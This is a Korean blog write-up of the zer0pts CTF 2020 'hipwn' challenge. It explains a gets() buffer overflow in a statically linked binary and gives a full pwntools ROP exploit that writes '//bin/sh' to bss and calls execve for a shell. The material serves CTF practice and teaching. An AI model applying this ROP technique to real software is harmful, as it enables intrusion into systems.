일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 에라토스테네스의 체
- 다이나믹 프로그래밍
- 큐
- 스위핑 알고리즘
- fsb
- ROP
- 분할 정복
- tcache
- 연결리스트
- 투 포인터
- BFS
- syscall
- House of Orange
- heap
- 브루트 포스
- 이진 탐색
- off by one
- 문자열 처리
- 동적 계획법
- 이분 탐색
- 완전 탐색
- 포맷스트링버그
- BOF
- RTL
- 백트래킹
- DFS
- 수학
- 스택
- 이진트리
- OOB
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
zer0pts ctf 2020 - hipwn 본문
utctf끝나고 참가하지 못했던 zer0ctf의 pwn도 풀어보고자 바이너리를 찾아봤다.
hipwn은 기본적은 warmup 문제다..
보호기법은 Partial RELRO에 NX가 활성화 되어있다.
hipwn은 statically linked 되어있기 때문에 syscall을 통해 exploit을 진행해야 한다.
문제에서 주어진 main.c를 보면 gets함수에서 bof가 발생하는 것을 볼 수 있다.
간단하게 execve("/bin/sh", 0, 0)을 실행시키는 코드를 만들어서 실행시키면 쉘을 딸 수 있다.
exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
from pwn import *
p = process("./chall")
mov_prdi_rax = 0x0000000000400704 # mov qword ptr [rdi], rax
bin_sh = 0x68732f6e69622f2f
bss = 0x0000000000604D14
pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc
pay = ''
pay += 'a'*0x108
pay += p64(pop_rax)
pay += p64(bin_sh)
pay += p64(pop_rdi)
pay += p64(bss)
pay += p64(mov_prdi_rax) # [rdi] = "//bin/sh"
pay += p64(pop_rax)
pay += p64(59)
pay += p64(pop_rsi_r15)
pay += p64(0)
pay += p64(0)
pay += p64(pop_rdx)
pay += p64(0)
pay += p64(syscall) # execve("/bin/sh", 0, 0)
p.sendline(pay)
p.interactive()
|
'write-up > pwnable' 카테고리의 다른 글
zer0pts ctf 2020 - protrude (0) | 2020.03.11 |
---|---|
zer0pts ctf 2020 - diylist (0) | 2020.03.10 |
utctf 2020 - zurk (0) | 2020.03.09 |
utctf 2020 - Cancelled (0) | 2020.03.09 |
utctf 2020 - zurk (0) | 2020.03.09 |
Comments